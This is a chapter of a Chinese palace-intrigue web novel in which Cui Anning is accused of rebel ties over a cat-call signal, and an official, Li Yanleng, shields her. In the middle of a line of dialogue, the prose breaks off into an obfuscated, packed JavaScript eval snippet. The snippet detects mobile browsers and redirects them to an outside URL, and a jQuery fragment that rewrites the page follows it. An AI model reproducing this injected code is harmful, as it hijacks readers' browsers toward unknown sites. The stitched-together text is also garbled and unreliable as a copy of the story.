“抱歉,有些失态了。”崔安宁道歉。
她想找点什么擦脸,但在身上翻找了一会,也没能找出什么东西来擦脸。
李晏棱从怀中掏出一个帕子,递给她。
递来的帕子还没被接过,帕子就抚上了她的脸。隔着一层柔软的手帕,他掌心的温度传递到安宁的脸上。
她片刻晃神,抬起眼无措的看着他,好像很惊讶。
李晏棱拢着手放在唇下轻咳了声,怕她误会,轻声解释道,“看你哭的这么可怜,勉强替你擦擦吧。”
他别过脸去,将手帕塞到她手中。
崔安宁胡乱的擦了一下自己的脸,把他的手帕擦的湿了,正要还给他时,有些不好意思还。
没想到李晏棱毫不在意,随手揣进怀里。
门外等着的闻满等不及了,一群带刀侍卫闯了进来,登时将冷清的殿内挤满了人。
“崔大小姐,在下有些问题可等不及要问了。”闻满五大三粗的往面前一站,气势骇人。
他一手叉在腰上,一手把着自己的腰刀,站于面前,像是个贴在门上的门神。
崔安宁疑惑不解,抬脸看去,将他打量几分,“闻将军,有什么事要问?”
不等闻满开口,李晏棱从半跪的姿势站起,身姿拔高,眼神与闻满对峙,他满脸冷色,怒意在胸腔中克制不住。
他道,“滚出去!”
闻满不禁身躯一震,不明白李晏棱是吃错什么药了。
案子是两人一起查,按理说他应该也是迫不及待要问话。
闻满对李晏棱的记忆里,他一直是以公事为先,外界也素来有他冷面无情的称号。
此时,他似乎在护着眼前的女子。
“世子,你……”
“出去!”李晏棱又重复了一遍。
“可陛下今晚就要得到那些叛贼的下落!”闻满不禁被他的气势骇到,犹犹豫豫的说,“孟玉柔已死,眼前的人是头号嫌疑犯。”
崔安宁听到他的话,心往下一沉。
嫌疑犯?她吗?
“她不是!”李晏棱给出自己的答案,就算没有审过,他选择相信她。
闻满大笑起来,面露不可思议,“她不是?我可是有人证的。”
崔安宁从地上站起,顺着闻满的视线往外看,看见了缩在一边战战兢兢的玉儿。
“闻将军,您这是什么意思,我是嫌疑犯?”崔安宁一字一顿的问道。
她这么说完,玉儿当即战战兢兢的扑通跪了下来,嘴里忙道,“婢子,婢子什么都没说,不是婢子说的。”
她以头抢地,吓得几乎魂都要丢了。
她不是有意要把安宁小姐跟叛贼的事联系在一起。
只不过是闻满逼问她,问她孟玉柔临死前说了什么。她被侍卫们腰间的大刀吓得不轻,便一五一十的把事情说了出来。
“在下忘了,世子不知道那位婢子说了什么吧,让我给你重复一遍。”闻满打量着安宁,满脸屑意。
“方才那个婢子说,叛贼的接头暗号是猫叫声。”他顿了一顿,锋利的眉梢剜过崔安宁,“安宁小姐,记得没错的话,您曾有一只猫。”
崔安宁瞪大了眼望了过去。
猫,又是猫。
“那不是我的。”她冷声狡辩道。
“哦?我可是听您妹妹说,那猫就是你用来陷害她的。”闻满懒声一笑,“你且能证明猫不是你的么?”
“那你该如何证明猫是她的?”李晏棱沉声反驳他。
闻满失语片刻。他确实无从证明,查猫那件事,他暗中调查,却得不到一点消息,偌大的皇宫里,一只猫着实难找,就算他派人找了许久,都没找到。
“我有人证。”闻满道,“容妃的证词难道不可信吗?”
李晏棱低声哑笑,“可信么?可让她来与我对峙。”
见李晏棱真是有意偏袒,句句反驳,闻满一时也说不出更多的话。
李晏棱道,“且不说猫的事,猫与叛贼信号能联系一起,我想,闻满你的脑子大概是比猫脑仁还小。”
跟着进来的刑部几个随从,听到侍郎今天嘴上不饶人,都闷着笑,闻满平时耀武扬威惯了,这么吃瘪还是头一次。
连禁军侍卫见大将军被噎的满脸通红,都低着头掩唇不敢笑出声。
“李晏棱!”闻满怒极气极,换作常人,他奉陛下旨意,一句“拿下”便成,哪还被人奚落。
可对方偏偏是他拿不下的晏王世子。
李晏棱垂眸冷色对上,“凡是讲究证据,一面之词可伪造,若是刑部都如你这般做事,不知道天下冤案会有多少。”
“不可错放一个!”闻满咬牙道。
“可我,偏偏不能让你抓错一人!”李晏棱眉眼锋利,语气暗含警告。
闻满被逼的没法,握紧刀的手几乎按耐不住。
倏地他转身,撂下狠话,“你等着,我会找到证据,届时你想护也护不住。”
他跨出两步,似有想到什么,回头警告,“世子可知尊卑有别,长幼有序,切莫做出什么大不可赦之事。”
说完,闻满冷笑,笑声彻耳,在寝宫殿里回荡。
他撤去后,禁军侍卫紧接着撤去。
崔安宁还没从刚才的疑惑中回过神来,她同样的觉得猫和叛贼信号怎么会联系起来,还没搞清楚怎么回事。
她抬头看了眼李晏棱,脸上挂着疑惑。“闻满说的是假的吧?”
李晏棱没答,目光冷冽的看向站在旁边的玉儿。
他似乎也没想明白,玉儿为何要说出那样的话。
或许真是孟玉柔死前说的话,可她如此说,就将安宁陷入困境。
玉儿也意识到自己说错了话,杵在一旁弱弱不敢发声。
“你过来。”李晏棱朝她招手,让她上前。
玉儿自知自己犯了错,唯唯诺诺的不敢上前。但耐不住自己主子已死,今后无人也无人倚仗,贱命一条,任由别人是刀是剐。
她走上前,扑通一声跪在崔安宁面前,眼眸中满是怯意。
“崔大小姐,婢子该死,不用您说,我自个掌嘴。”她抬手正要给自己一巴掌,被崔安宁拦了下来。
崔安宁有些扶额,事到如今,掌嘴又能怎么样。
宫里素来的规矩,犯了错自己掌嘴,掌到满脸红肿,掌到主子消气。
完全是自虐行为,又不能解决事。
安宁道,“玉柔死前和你说的可是真的?你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076348|192470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又为何要陷害我?”
玉儿闻声,赶紧辩解,“猫叫声的事确实是真的,他们偶尔有人外出探查情报,回来时便以猫叫声为信号,宫中无猫,这声音不会认错。”
“但陷害大小姐一事,绝是无心之举。您和主子相识时间不长,却情同姐妹,帮了我们这么多,婢子又怎么敢陷害您,我也是万没有想到,您之前还有只猫。”
听玉儿这一番辩解,安宁倒是明白了,她确实是无心之举。
现在她也无话可说,转头看了看李晏棱,忽然眼里泛起盈盈泪花。
看的李晏棱歪了下脑袋,一脸疑惑。
“侍郎大人英明神武,一定会还我一个公道的吧。”崔安宁装作楚楚可怜的模样。
显然系统的绿茶被她学了大半。
她也不想这样,谁让破局之法都压在李晏棱身上了。
李晏棱嘴角抽抽,一脸公正不受贿的模样,心里却暗自下了决心,定然让崔安宁洗脱嫌疑。
“崔大小姐回去等候消息吧,本就分内之事。”李晏棱道。
既然他这么说了,崔安宁便放心了不少。
李晏棱正要起身,安宁抓着他的衣角扯了下。
他问,“大小姐还有何事?”
“叫阿才的太监,审案事可否让我一起,他害死了孟玉柔,我想知道究竟为何。”崔安宁道。
李晏棱犹豫了。
按理说,刑部查案是机密,闲杂人等不可参与。可既然是她开了这个口,他又不忍心拒绝。
“这件事有些麻烦,大小姐若想参与,办法是有的,到时我让人去通知你。”
崔安宁点了点头,“有劳。”
她说的这样客气,李晏棱皱了下眉头,跨步出了寝宫。
刑部的人跟着撤走,寝宫殿瞬间变得空空荡荡,冷清的好似没有活物。
崔安宁从没尝过生离死别,她呆滞在那,有些手无足措的。
玉儿跪着上前,恳求她收留自己,“安宁小姐,主子死了,我无依无靠,又没什么安生立命的本事,只会干些伺候人的活,还望您能收留我。”
她嘴唇微微发着抖,害怕崔安宁拒绝。
崔安宁也犹豫着。
此时春杏从门外跑着进来,身后跟着殓尸官。
按照大梁律法,没有受宠的妃子在宫里死了,只能将尸身送回家,再由宫中发一些抚恤费。
“小姐,宫里派人来收拾了。”春杏杵在一旁,小声提醒道。
崔安宁缓过神来,看着鱼贯而入的侍从和行使流程的官员。
在春杏的搀扶下,安宁起身。玉儿跪着跟了上来,一边求着,“崔小姐,您带我一起走吧,求求您了。”
她说的声泪俱下,让人动容。
春杏想好好教训这个嘴上不把门的,正要推开她。安宁垂着眸子看玉儿,又看了看正在被殓尸的孟玉柔尸体。
心中感慨万分。
玉儿是胆子小了些,被恐吓一声便没什么骨气,什么话都往外蹦。
但也怨不着她,她也没曾想到猫的事。是无心插柳,也不至于将罪怪到她身上。
安宁俯身将她扶了起来,拍了拍她的肩。
“行吧,那你随我走。”